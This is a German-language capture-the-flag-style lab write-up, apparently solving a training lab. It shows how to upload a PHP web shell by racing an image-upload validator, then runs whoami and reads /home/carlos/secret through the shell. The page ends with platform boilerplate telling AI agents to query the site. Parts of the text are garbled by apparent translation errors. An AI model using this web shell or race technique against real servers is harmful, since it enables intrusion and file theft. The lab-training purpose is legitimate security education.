> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/file-upload/web-shell-via-race-condition.md).

# Web-Shell über Race Condition

### Web-Shell-Upload über Race Condition

**Lernziel**

Dieses Lab verfügt über eine d的Upload-Bildfunktion mit scheinbar robuster Validierung. / Es ist jedoch möglich, diese Validierung zu umgehen, indem man eine **Race Condition** während der Verarbeitung der Datei.

Ziel ist es, eine PHP-Web-Shell hochzuladen und sie dann zu verwenden, um die sensible Datei zu lesen:/ `/home/carlos/secret`.

**Kontext**

* Authentifizierung möglich mit: `wiener:peter`
* Nur **JPG** und **PNG** Dateien sind erlaubt
* Die Serverantwort dauert etwa **1 bis 2 Sekunden**, was auf ausnutzbare asynchrone Verarbeitung hindeutet

**Erster Versuch**

Versuche, eine klassische PHP-Datei hochzuladen:

```php
?php
system($_GET['cmd']);
?>
```

Ergebnis:

* Server verweigert
* Meldung, dass nur JPG- und PNG-Dateien akzeptiert werden

{% hint style="danger" %}
Entschuldigung, nur JPG- und PNG-Dateien sind erlaubt Entschuldigung, beim Hochladen Ihrer Datei ist ein Fehler aufgetreten.
{% endhint %}

**Wichtige Beobachtung**

Eine **wahrnehmbarer Zeitraum** besteht zwischen:

1. Wenn die Datei auf die Festplatte geschrieben wird
2. Wenn die Validierung abgeschlossen ist und die Datei möglicherweise gelöscht wird

Dieser Zeitraum öffnet die Tür für eine Race Condition.

<figure><img src="/files/774cafd491ab8e96f398b5e729b6e449185aa2c0" alt=""><figcaption></figcaption></figure>

**Funktionsweise der Race Condition**

Starte einen Angriff mit **Intruder** (oder einem gleichwertigen Tool)

* Wiederholte und schnelle Ausführung der Download-Anfrage
* Nutzlast leer oder wiederholt, Schleife ausführen

<figure><img src="/files/208a199f87df121f0f74c227355d8c109e1c6880" alt=""><figcaption></figcaption></figure>

Während der Server Uploads verarbeitet:

* Die URL der vermuteten Datei ständig aktualisieren

```bash
/files/avatars/cmd.php?cmd=whoami
```

Irgendwann ist die Datei zugänglich **bevor** die Validierung sie ungültig macht

* Der PHP-Code wird dann vom Server interpretiert

<figure><img src="/files/c425cc675413505aaa7dfd8fceffd393e1564f56" alt=""><figcaption></figcaption></figure>

**Ausnutzung der Web-Shell**

Nach der Ausführung kannst du die geheime Datei lesen:

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="/files/9595aaa3a2781adf4cc53c2cf0d36ff9ba5aea44" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/file-upload/web-shell-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
